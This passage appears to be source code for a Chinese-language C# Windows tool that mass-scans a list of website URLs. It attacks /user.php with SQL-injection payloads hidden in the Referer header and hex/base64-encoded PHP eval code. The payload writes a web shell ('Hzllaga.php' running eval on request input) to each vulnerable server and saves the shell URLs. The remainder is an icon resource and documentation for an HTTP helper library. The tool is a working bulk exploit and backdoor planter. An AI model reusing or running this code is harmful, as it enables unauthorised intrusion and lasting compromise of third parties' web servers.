42 | items.Referer = "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:201:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24687a6c6c616761275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262614870736247466e595630704f773d3d2729293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca"; //referer头,如果需要请填写
43 | items.Accept = "*/*";
44 | items.UserAgent = "curl/7.35.0";
45 | items.ContentType = "application/x-www-form-urlencoded";
46 | items.Container = cc;//自动处理Cookie时,每次提交时对cc赋值即可
47 | items.Postdata = pdata;//提交的数据
48 | items.Method = "Post";//设置提交方式为post方式提交(默认为Get方式提交)
49 | hr = helper.GetHtml(items);//发起请求并获得结果
50 | res = hr.Html;//得到请求结果
51 |
52 | return res;
53 | }
54 |
55 | public static string Exploit2(string URL) //漏洞关键函数
56 | {
57 | string res = string.Empty;//清空请求结果,请求类型不是图片时有效
58 | string pdata = "Hzllaga=eval/**/(base64_decode($_POST[d]));echo HzllagaRCETestOK;exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ0h6bGxhZ2EucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbSHpsbGFnYV0pOz8%2BJyk7";//提交数据(必须项)
59 |
60 | System.Net.CookieContainer cc = new System.Net.CookieContainer();//自动处理Cookie对象
61 | HttpHelpers helper = new HttpHelpers();//发起请求对象
62 | HttpItems items = new HttpItems();//请求设置对象
63 | HttpResults hr = new HttpResults();//请求结果
64 | items.URL = URL + "/user.php";//请求的url地址
65 | items.Timeout = 5000;
66 | items.Referer = "45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:\"num\";s:207:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b24487a6c6c616761275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262534870736247466e595630704f773d3d2729293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"' union/*\";s:4:\"name\";s:3:\"ads\";}45ea207d7a2b68c49582d2d22adf953a"; //referer头,如果需要请填写
67 | items.Accept = "*/*";
68 | items.UserAgent = "curl/7.35.0";
69 | items.ContentType = "application/x-www-form-urlencoded";
70 | items.Container = cc;//自动处理Cookie时,每次提交时对cc赋值即可
71 | items.Postdata = pdata;//提交的数据
72 | items.Method = "Post";//设置提交方式为post方式提交(默认为Get方式提交)
73 | hr = helper.GetHtml(items);//发起请求并获得结果
74 | res = hr.Html;//得到请求结果
75 |
76 | return res;
77 | }
78 |
79 | string[] url;
80 | List listurl = new List();
81 | List listurlok = new List();
82 | List listurlsuccess = new List();
83 |
84 | private void label2_Click(object sender, EventArgs e)
85 | {
86 |
87 | }
88 |
89 | private void button1_Click(object sender, EventArgs e) //加载url文件
90 | {
91 | OpenFileDialog fdlg = new OpenFileDialog(); //定义文件对话方块变量
92 | fdlg.Title = "选择文件"; //方块标题
93 | fdlg.InitialDirectory = ""; //方块目录
94 | fdlg.Filter = "文本文件(*.txt)|*.txt"; //文件格式
95 | fdlg.FilterIndex = 1; //定位默认格式
96 | fdlg.RestoreDirectory = true; //还原上次路径
97 | if (fdlg.ShowDialog() == DialogResult.OK)
98 | {
99 | StreamReader _rstream = new StreamReader(fdlg.FileName, System.Text.Encoding.Default); //读取txt
100 | string line;
101 | while ((line = _rstream.ReadLine()) != null) //将txt内容循环加入listview
102 | {
103 | ListViewItem lvii = new ListViewItem(); //定义listview项目变量
104 | lvii.Text = line; //第一格
105 | lvii.SubItems.Add(""); //第二格
106 | this.listView1.Items.Add(lvii); //将数据执行插入
107 | listurl.Add(line); //加入listurl,当初有写入,现在也懒得去找还有没有用到,就先不删除
108 | }
109 | _rstream.Close();
110 | url = listurl.ToArray(); //将list加入数组
111 | label2.Text = Convert.ToString(url.Count()); //计算任务数量
112 | }
113 | }
114 |
115 | private void button3_Click(object sender, EventArgs e)
116 | {
117 | progressBar1.Minimum = 0; //进度条最小值
118 | progressBar1.Maximum = url.Count(); //进度条最大值,也就是任务数量总数
119 |
120 | Thread waitT = new Thread(new ThreadStart(wait)); //定义线程,其实也可以不用这步,当初直接就复制过来了,懒得修改
121 | waitT.Start(); //启动线程
122 |
123 | }
124 |
125 | public void wait()
126 | {
127 |
128 | for (int i = 0; i < url.Count(); i++) //这边是扫描的核心
129 | {
130 | Book book = new Book(); //利用Book结构来达到多线程传递多参数,东西在下面自己找
131 | book.url = url[i]; //给定值,传参给线程用
132 | book.i = i; //同上
133 | Thread thread = new Thread(new ParameterizedThreadStart(Scan)); //定义线程
134 | thread.Start(book);//启动线程,一个任务一个线程
135 | }
136 |
137 |
138 | }
139 |
140 | public void Scan(object book) //调用扫描部分线程
141 | {
142 | try
143 | {
144 | Book b = (Book)book; //定义结构,方便调用传递过来的值
145 | string text = b.url; //把传递过来的任务赋值给text
146 | if (text.EndsWith("/")) //去掉url后面的/
147 | {
148 | text = text.Substring(0, text.Length - 1);
149 | }
150 |
151 | string res = Exploit(text); //执行PoC
152 |
153 | if (res.IndexOf("HzllagaRCETestOK") > -1) //判断返回,确定是否存在漏洞
154 | {
155 | if (res.IndexOf("Permission denied") > -1)
156 | {
157 | listView1.Items[b.i].SubItems[1].Text = "网站存在漏洞,但没权限写入。";
158 | progressBar1.Value++;
159 |
160 | }
161 | else
162 | {
163 | listView1.Items[b.i].SubItems[1].Text = text + "/Hzllaga.php";
164 | progressBar1.Value++;
165 |
166 | }
167 | }
168 | else
169 | {
170 | string res2 = Exploit2(text); //执行PoC
171 |
172 | if (res2.IndexOf("HzllagaRCETestOK") > -1) //判断返回,确定是否存在漏洞
173 | {
174 | if (res2.IndexOf("Permission denied") > -1)
175 | {
176 | listView1.Items[b.i].SubItems[1].Text = "网站存在漏洞,但没权限写入。";
177 | progressBar1.Value++;
178 |
179 | }
180 | else
181 | {
182 | listView1.Items[b.i].SubItems[1].Text = text + "/Hzllaga.php";
183 | progressBar1.Value++;
184 |
185 | }
186 | }
187 | else
188 | {
189 | listView1.Items[b.i].SubItems[1].Text = "网站不存在漏洞或存在WAF!";
190 | progressBar1.Value++;
191 |
192 | }
193 |
194 | }
195 | }
196 | catch (Exception ex)
197 | {
198 | Trace.TraceError("出现异常:" + ex.Message);//记录日志}
199 | progressBar1.Value++;
200 |
201 | }
202 | }
203 |
204 | public struct Book //这里就是Book结构了
205 | {
206 | public string url;
207 | public int i;
208 | }
209 |
210 | private void Form1_Load(object sender, EventArgs e)
211 | {
212 |
213 | }
214 |
215 | private void button2_Click(object sender, EventArgs e) //保存成功的任务结果
216 | {
217 | int count = listView1.Items.Count; //计算任务数量
218 |
219 | StreamWriter _wstream = new StreamWriter("result/Success.txt"); //写入的文件名
220 | for (int i = 0; i < count; i++) //循序写入文件
221 | {
222 | string data = listView1.Items[i].SubItems[1].Text; //把任务结果赋值给data
223 | if (data.IndexOf("http") > -1) //判断结果是否有http,有则代表是成功的,需要保存
224 | {
225 | _wstream.Write(data); //写入
226 | _wstream.WriteLine(); //换行
227 | }
228 | }
229 | _wstream.Flush();
230 | _wstream.Close();
231 | MessageBox.Show("文件已保存到result/Success.txt");
232 | }
233 |
234 | private void button4_Click(object sender, EventArgs e) //保存有漏洞但没权限写入的任务
235 | {
236 | int count = listView1.Items.Count; //计算任务数量
237 | StreamWriter _wstream = new StreamWriter("result/OK.txt"); //写入的文件名
238 | for (int i = 0; i < count; i++) //循序写入文件
239 | {
240 | string data = listView1.Items[i].SubItems[1].Text; //把任务结果赋值给data
241 | string ok = listView1.Items[i].SubItems[0].Text; //把任务赋值给ok
242 | if (data.IndexOf("没权限") > -1) //判断结果是否有http,有则代表是有漏洞但没权限写入的,需要保存
243 | {
244 | _wstream.Write(ok); //写入
245 | _wstream.WriteLine(); //换行
246 | }
247 | }
248 | _wstream.Flush();
249 | _wstream.Close();
250 | MessageBox.Show("文件已保存到result/OK.txt");
251 | }
252 | }
253 | }
254 |
255 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
124 |
125 |
126 | AAABAAMAEBAQAAEABAAoAQAANgAAABAQAAABAAgAaAUAAF4BAAAQEAAAAQAgAGgEAADGBgAAKAAAABAA
127 | AAAgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAACAAAAAAIAAAICAAAAAAIAAgACAAACA
128 | gACAgIAAwMDAAP8AAAAA/wAA//8AAAAA/wD/AP8AAP//AP///wAAzAAAAMwAAADuAAAA7gAAAAAAAAAA
129 | AAAAzMzMzMzAAADM7u7u7uAAAMwAAAAAAAAAzMzMzMzMAADM7u7u7u4AAMwAAAAAAAAAzMzMzMzMwADM
130 | 7u7u7u7gAMwAAAAAAAAAzAAAAAAAAADMAAAAAAAA7u4AAAAAAADu7gAAAAAAAM/PLD7Pz8/P///Pz8AH
131 | ///AB8AHz//AB8ADz//AA8ADz//AA8ABz//AAcABz//AAc//z//P/8//D//P/w//D/8oAAAAEAAAACAA
132 | AAABAAgAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAjL+AAJu/gACUv4AAp7+AAJ6/gACYv4AAkL+AAJ2
133 | /gACWv4AAoL+AAJq/gACTv4AAnL+AAJW/gACov4AAn7+AAJm/gACRv4AAAAAAAAAAAAAAAAAAAAAAAAA
134 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
135 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
136 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
137 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
138 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
139 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
140 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
141 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
142 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
143 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
144 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
145 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
146 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
147 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
148 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
149 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABISAAASEhISEhIAABISEhISEgkJEhISEhIS
150 | CQkSEhISEhISEhISEhISEhISEhISEhISBgYGBgYGBgYGBgYSEhISEhERCQkJCQkJCQkJEhISEhILCxIS
151 | EhISEhISEhISEhISAgICAgICAgICAgICEhISEggIAwMDAwMDAwMDAxISEhIFBRISEhISEhISEhISEhIS
152 | EBAKChAQChAQCgoQEBISEgEBAwMDAwMDAwMDAwMSEhIHDBISEhISEhISEhISEhISBAQSEhISEhISEhIS
153 | EhISEg8PEhISEhISEhISEhISCQkJCRISEhISEhISEhISEg4ODg4SEhISEhISEhISEhLPzyw+z8/Pz///
154 | z8/AB///wAfAB8//wAfAA8//wAPAA8//wAPAAc//wAHAAc//wAHP/8//z//P/w//z/8P/w//KAAAABAA
155 | AAAgAAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADP//wAz//8AAAAAAAAAAAAA
156 | AAAAAAAAAAAAAAAAAAAAM///ADP//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC//8Agv//AAAAAAAA
157 | AAAAAAAAAAAAAAAAAAAAAAAAAIL//wCC//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
158 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEH//wBB
159 | //8AQf//AEH//wBC//8AQf//AEH//wBB//8AQf//AEH//wBB//8AAAAAAAAAAAAAAAAAAAAAAAAAAABH
160 | //8AR///AIL//wCC//8Agv//AIL//wCC//8Agv//AIL//wCC//8Agv//AAAAAAAAAAAAAAAAAAAAAAAA
161 | AAAATf//AE3//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
162 | AAAAAAAAAFT//wBU//8AVP//AFP//wBU//8AU///AFT//wBU//8AVP//AFT//wBT//8AVP//AAAAAAAA
163 | AAAAAAAAAAAAAABb//8AWv//AJz//wCc//8AnP//AJz//wCc//8AnP//AJz//wCc//8AnP//AJz//wAA
164 | AAAAAAAAAAAAAAAAAAAAYf//AGH//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
165 | AAAAAAAAAAAAAAAAAAAAAAAAAGf//wBn//8AaP//AGj//wBn//8AZ///AGj//wBn//8AZ///AGj//wBo
166 | //8AZ///AGf//wAAAAAAAAAAAAAAAABt//8Abv//AJz//wCc//8AnP//AJz//wCc//8AnP//AJz//wCc
167 | //8AnP//AJz//wCc//8AAAAAAAAAAAAAAAAAdP//AHP//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
168 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHn//wB5//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
169 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB9//8Afv//AAAAAAAAAAAAAAAAAAAAAAAA
170 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIL//wCB//8Agv//AIH//wAAAAAAAAAAAAAAAAAA
171 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACi//8Aov//AKL//wCi//8AAAAAAAAAAAAA
172 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADPzyw+z8/Pz///z8/AB///wAfAB8//
173 | wAfAA8//wAPAA8//wAPAAc//wAHAAc//wAHP/8//z//P/w//z/8P/w//
174 |
175 |
176 |
--------------------------------------------------------------------------------
/WindowsFormsApplication5/bin/Debug/HttpCodeLib.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | HttpCodeLib
5 |
6 |
7 |
8 |
9 | Http请求操作类
10 |
11 |
12 |
13 |
14 | HttpWebRequest对象用来发起请求
15 |
16 |
17 |
18 |
19 | 获取响应流的数据对象
20 |
21 |
22 |
23 |
24 | 结果参数
25 |
26 |
27 |
28 |
29 | 应答结果承载的内存流
30 |
31 |
32 |
33 |
34 | 承载读取数据流
35 |
36 |
37 |
38 |
39 | 采用httpwebrequest方式访问网络,根据传入的URl地址,得到响应的数据字符串。
40 |
41 | 参数列表
42 | 自动维护的字符串cookie
43 | HttpResults 为返回结果
44 |
45 |
46 |
47 | 采用httpwebrequest方式访问网络,根据传入的URl地址,得到响应的数据字符串。
48 |
49 | 参数列表
50 | HttpResults 为返回结果
51 |
52 |
53 |
54 | 根据传入的数据,得到相应页面数据
55 |
56 | 请求设置参数
57 | 请求结果
58 |
59 |
60 |
61 | 处理响应结果
62 |
63 | 请求设置参数
64 |
65 |
66 |
67 |
68 | 识别编码
69 |
70 |
71 |
72 |
73 |
74 | 采用异步方式访问网络,根据传入的URl地址,得到响应的数据字符串。
75 |
76 | 参数列表
77 | 完成后的回调函数
78 |
79 |
80 |
81 | 异步获取响应数据
82 |
83 |
84 |
85 |
86 |
87 | 根据传入的参数,来异步发起请求
88 |
89 | 请求设置参数
90 | 回调函数
91 |
92 |
93 |
94 | 超时回调
95 |
96 | HttpRequest对象
97 | 超时判断
98 |
99 |
100 |
101 | 获取流中的数据转换为内存流处理
102 |
103 | 流
104 |
105 |
106 |
107 | 反射修改useUnsafeHeaderParsing
108 |
109 | 设置的参数值
110 |
111 |
112 |
113 |
114 | 为请求准备参数
115 |
116 | 参数列表
117 |
118 |
119 |
120 | 设置证书
121 |
122 | 请求设置参数
123 |
124 |
125 |
126 | 设置编码
127 |
128 | Http参数
129 |
130 |
131 |
132 | 设置Cookie
133 |
134 | Http参数
135 |
136 |
137 |
138 | 设置Post数据
139 |
140 | Http参数
141 |
142 |
143 |
144 | 设置代理
145 |
146 | 参数对象
147 |
148 |
149 |
150 | 回调验证证书问题
151 |
152 | 流对象
153 | 证书
154 | X509Chain
155 | SslPolicyErrors
156 | bool
157 |
158 |
159 |
160 | 传入一个正确或不正确的URl,返回正确的URL
161 |
162 | url
163 |
164 |
165 |
166 |
167 |
168 | 读取返回对象中数据,并返回Image格式图片
169 |
170 | GetHtml后的请求结果
171 |
172 |
173 |
174 |
175 | 字节数组生成图片
176 |
177 | 字节数组
178 | 图片
179 |
180 |
181 |
182 | Http请求参考类
183 |
184 |
185 |
186 |
187 | 请求URL必须填写
188 |
189 |
190 |
191 |
192 | 请求方式默认为GET方式
193 |
194 |
195 |
196 |
197 | 默认请求超时时间
198 |
199 |
200 |
201 |
202 | 默认写入Post数据超时间
203 |
204 |
205 |
206 |
207 | 请求标头值 默认为image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
208 |
209 |
210 |
211 |
212 | 请求返回类型默认 application/x-www-form-urlencoded
213 |
214 |
215 |
216 |
217 | 客户端访问信息默认Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0
218 |
219 |
220 |
221 |
222 | Post数据时的编码 默认为 Default,如需必要 请勿修改
223 |
224 |
225 |
226 |
227 | 默认的编码类型,如果不初始化,则为null,每次自动识别
228 |
229 |
230 |
231 |
232 | 返回数据编码默认为NUll,可以自动识别
233 |
234 |
235 |
236 |
237 | Post的数据类型
238 |
239 |
240 |
241 |
242 | Post请求时要发送的字符串Post数据
243 |
244 |
245 |
246 |
247 | Post请求时要发送的Byte类型的Post数据
248 |
249 |
250 |
251 |
252 | Cookie对象集合
253 |
254 |
255 |
256 |
257 | 自动处理cookie
258 |
259 |
260 |
261 |
262 | 请求时的Cookie
263 |
264 |
265 |
266 |
267 | 来源地址,上次访问地址
268 |
269 |
270 |
271 |
272 | 证书绝对路径
273 |
274 |
275 |
276 |
277 | 是否设置为全文小写
278 |
279 |
280 |
281 |
282 | 是否增加异步请求头
283 | 对应协议 : x-requested-with: XMLHttpRequest
284 |
285 |
286 |
287 |
288 | 支持跳转页面,查询结果将是跳转后的页面
289 |
290 |
291 |
292 |
293 | 当该属性设置为 true 时,使用 POST 方法的客户端请求应该从服务器收到 100-Continue 响应,以指示客户端应该发送要发送的数据。此机制使客户端能够在服务器根据请求报头打算拒绝请求时,避免在网络上发送大量的数据
294 |
295 |
296 |
297 |
298 | 当该属性设置为 true 时,使用 POST 方法的客户端请求应该从服务器收到 100-Continue 响应,以指示客户端应该发送要发送的数据。此机制使客户端能够在服务器根据请求报头打算拒绝请求时,避免在网络上发送大量的数据 默认False
299 |
300 |
301 |
302 |
303 | 最大连接数
304 |
305 |
306 |
307 |
308 | 代理Proxy 服务器用户名
309 |
310 |
311 |
312 |
313 | 代理 服务器密码
314 |
315 |
316 |
317 |
318 | 代理 服务IP
319 |
320 |
321 |
322 |
323 | 设置返回类型String和Byte
324 |
325 |
326 |
327 |
328 | 头数据
329 |
330 |
331 |
332 |
333 | 如果提示以下错误,请设置为true
334 | 服务器提交了协议冲突. Section=ResponseHeader Detail=CR 后面必须是 LF
335 |
336 |
337 |
338 |
339 | 如果提示以下错误,请设置为true
340 | 从传输流收到意外的 EOF 或 0 个字节
341 |
342 |
343 |
344 |
345 | Http返回参数类
346 |
347 |
348 |
349 |
350 | 响应结果的URL(可获取自动跳转后地址)
351 | 如果获取跳转后地址失败,请使用RedirectUrl属性,
352 | 并设置HttpItems对象的Allowautoredirect =false;
353 |
354 |
355 |
356 |
357 | 获取重定向的URL
358 | 使用本属性时,请先关闭自动跳转属性
359 | 设置方法如下:
360 | 设置HttpItems对象的Allowautoredirect =false;
361 |
362 |
363 |
364 |
365 | 自动处理Cookie集合对象
366 |
367 |
368 |
369 |
370 | Http请求返回的Cookie
371 |
372 |
373 |
374 |
375 | Cookie对象集合
376 |
377 |
378 |
379 |
380 | 返回的String类型数据 只有ResultType.String时才返回数据,其它情况为空
381 |
382 |
383 |
384 |
385 | 返回的Byte数组 只有ResultType.Byte时才返回数据,其它情况为空
386 |
387 |
388 |
389 |
390 | 头数据
391 |
392 |
393 |
394 |
395 | Http请求后的状态码
396 |
397 |
398 |
399 |
400 | 状态码的数字形式
401 |
402 |
403 |
404 |
405 | 详细状态描述
406 |
407 |
408 |
409 |
410 | 异步实体类
411 |
412 |
413 |
414 |
415 | 请求结果类
416 |
417 |
418 |
419 |
420 | HttpWebRequest对象用来发起请求
421 |
422 |
423 |
424 |
425 | 异步回调函数
426 |
427 |
428 |
429 |
430 | 基础请求设置类
431 |
432 |
433 |
434 |
435 | 原子锁
436 |
437 |
438 |
439 |
440 | 返回类型
441 |
442 |
443 |
444 |
445 | Post的数据格式默认为string
446 |
447 |
448 |
449 |
450 | 字符串
451 |
452 |
453 |
454 |
455 | 字节流
456 |
457 |
458 |
459 |
460 | 文件路径
461 |
462 |
463 |
464 |
465 | WinInet的方式请求数据
466 |
467 |
468 |
469 |
470 | Wininet超时时间 默认0 不设置超时,由于是自行实现(微软没修复超时的bug) 所以如果设置后,每次请求都会暂停.
471 |
472 |
473 |
474 |
475 | 使用API获取本地时间
476 |
477 |
478 |
479 |
480 |
481 | 使用API设置本地时间
482 |
483 |
484 |
485 |
486 |
487 | WinInet 方式GET
488 |
489 | 地址
490 |
491 |
492 |
493 |
494 | 将内存流转换为字符串
495 |
496 | 需要转换的流
497 |
498 |
499 |
500 |
501 | POST
502 |
503 | 地址
504 | 提交数据
505 |
506 |
507 |
508 |
509 | GET(UTF-8)模式
510 |
511 | 地址
512 |
513 |
514 |
515 |
516 | POST(UTF-8)
517 |
518 | 地址
519 | 提交数据
520 |
521 |
522 |
523 |
524 | 获取网页图片(Image)
525 |
526 | 图片地址
527 |
528 |
529 |
530 |
531 | 获取网页图片(Image)
532 |
533 | Stream流
534 |
535 |
536 |
537 |
538 | 重载提交数据(允许使用代理)
539 |
540 | 请求地址
541 | 提交的数据(Get时为空)
542 | 代理地址(IP:端口 例如 127.0.0.1:8888)
543 | 设置cookie,例如 JS增加的cookie.如非需要可不填写
544 | 设置数据头,如非需要可不填写
545 | 是否允许跳转(允许3xx 跳转)
546 |
547 |
548 |
549 |
550 | 请求数据
551 |
552 | 请求地址
553 | 提交的数据
554 | 请求头
555 |
556 |
557 |
558 |
559 | 取出cookies
560 |
561 | 完整的链接格式
562 |
563 |
564 |
565 |
566 | 遍历CookieContainer
567 |
568 |
569 |
570 |
571 |
572 |
573 | 将String转CookieContainer
574 |
575 |
576 |
577 |
578 |
579 |
580 |
581 | 将CookieContainer转换为string类型
582 |
583 |
584 |
585 |
586 |
587 |
588 | 系统时间结构体
589 |
590 |
591 |
592 |
593 | 玄机网一键HTTP类库
594 | 懒人库/快捷库
595 |
596 |
597 |
598 |
599 | 时间戳转为C#格式时间
600 |
601 | Unix时间戳格式
602 | C#格式时间
603 |
604 |
605 |
606 | 获取JS时间戳 13位
607 |
608 |
609 |
610 |
611 |
612 | 返回13位时间戳 非JS方式
613 |
614 |
615 |
616 |
617 |
618 |
619 | 获取时间戳 C# 10位
620 |
621 |
622 |
623 |
624 |
625 | 指定时间转换时间戳
626 |
627 |
628 |
629 |
630 |
631 |
632 | 使用API获取本地时间
633 |
634 | 返回本地电脑的Datatime数据
635 |
636 |
637 |
638 | 使用API设置本地时间
639 |
640 | 需要设置的时间
641 |
642 |
643 |
644 | 获取服务器返回的时间,如果Header中没有Date则返回当前时间
645 |
646 | 请求结果对象
647 | 返回本地时区Datatime数据
648 |
649 |
650 |
651 | 本地时间转成GMT时间 (参数如果不传入则为当前时间)
652 | 本地时间为:2011-9-29 15:04:39
653 | 转换后的时间为:Thu, 29 Sep 2011 07:04:39 GMT
654 |
655 | 参数如果不传入则为当前时间 DateTime.Now
656 |
657 |
658 |
659 |
660 | 本地时间转成GMT格式的时间(参数如果不传入则为当前时间)
661 | 本地时间为:2011-9-29 15:04:39
662 | 转换后的时间为:Thu, 29 Sep 2011 15:04:39 GMT+0800
663 |
664 | 参数如果不传入则为当前时间 DateTime.Now
665 |
666 |
667 |
668 |
669 | GMT时间转成本地时间
670 | DateTime dt1 = GMT2Local("Thu, 29 Sep 2011 07:04:39 GMT");
671 | 转换后的dt1为:2011-9-29 15:04:39
672 | DateTime dt2 = GMT2Local("Thu, 29 Sep 2011 15:04:39 GMT+0800");
673 | 转换后的dt2为:2011-9-29 15:04:39
674 |
675 | 字符串形式的GMT时间
676 |
677 |
678 |
679 |
680 | 取文本中间
681 |
682 | 原字符
683 | 前面的文本
684 | 后面的文本
685 |
686 |
687 |
688 |
689 | 批量取文本中间
690 |
691 | 原字符
692 | 前面的文本
693 | 后面的文本
694 | 默认为万能表达式(.*?)
695 |
696 |
697 |
698 |
699 | URL加密适用于淘宝中文编码算法
700 |
701 | 明文
702 | 密文
703 |
704 |
705 |
706 | Url编码,encoding默认为utf8编码
707 |
708 | 需要编码的字符串
709 | 指定编码类型
710 | 编码后的字符串
711 |
712 |
713 |
714 | URL解密适用于淘宝中文编码算法
715 |
716 | 密文
717 | 明文
718 |
719 |
720 |
721 | Url解码,encoding默认为utf8编码
722 |
723 | 需要解码的字符串
724 | 指定解码类型
725 | 解码后的字符串
726 |
727 |
728 |
729 |
730 |
731 | 取文本右边
732 | 默认取出右边所有文本,如果需要取固定长度请设置 length参数
733 | 异常则返回空字符串
734 |
735 | 原始字符串
736 | 需要确认位置的字符串
737 | 默认0,如果设置按照设置的值取出数据
738 |
739 |
740 |
741 |
742 | 取文本左边
743 | 默认取出左边所有文本,如果需要取固定长度请设置 length参数
744 | 异常则返回空字符串
745 |
746 | 原始字符串
747 | 需要确认位置的字符串
748 | 默认0,如果设置按照设置的值取出数据
749 |
750 |
751 |
752 |
753 | 取文本中间的其他写法
754 |
755 | 原始Html
756 | 开始字符串
757 | 结束字符串
758 |
759 |
760 |
761 |
762 |
763 |
764 | 将字符串转换为base64格式 默认UTF8编码
765 |
766 | 原始字符串
767 | 编码
768 |
769 |
770 |
771 |
772 | base64字符串转换为普通格式 默认UTF8编码
773 |
774 | 原始字符串
775 | 编码
776 |
777 |
778 |
779 |
780 | 将byte数组转换为AscII字符
781 |
782 |
783 |
784 |
785 |
786 |
787 | 将字节数组转化为十六进制字符串,每字节表示为两位
788 |
789 |
790 |
791 |
792 |
793 |
794 | 字符串转16进制
795 |
796 |
797 | 返回十六进制代表的字符串
798 |
799 |
800 |
801 | 将十六进制字符串转化为字节数组
802 |
803 |
804 |
805 |
806 |
807 |
808 | 合并Cookie,将cookie2与cookie1合并更新 返回字符串类型Cookie
809 |
810 | 旧cookie
811 | 新cookie
812 |
813 |
814 |
815 |
816 | 清理string类型Cookie.剔除无用项返回结果为null时遇见错误.
817 |
818 |
819 |
820 |
821 |
822 |
823 | 从Wininet中获取Cookie对象
824 |
825 |
826 |
827 |
828 |
829 |
830 | 获取当前请求所有Cookie
831 |
832 |
833 | Cookie集合
834 |
835 |
836 |
837 | 获取CookieContainer 中的所有对象
838 |
839 |
840 |
841 |
842 |
843 |
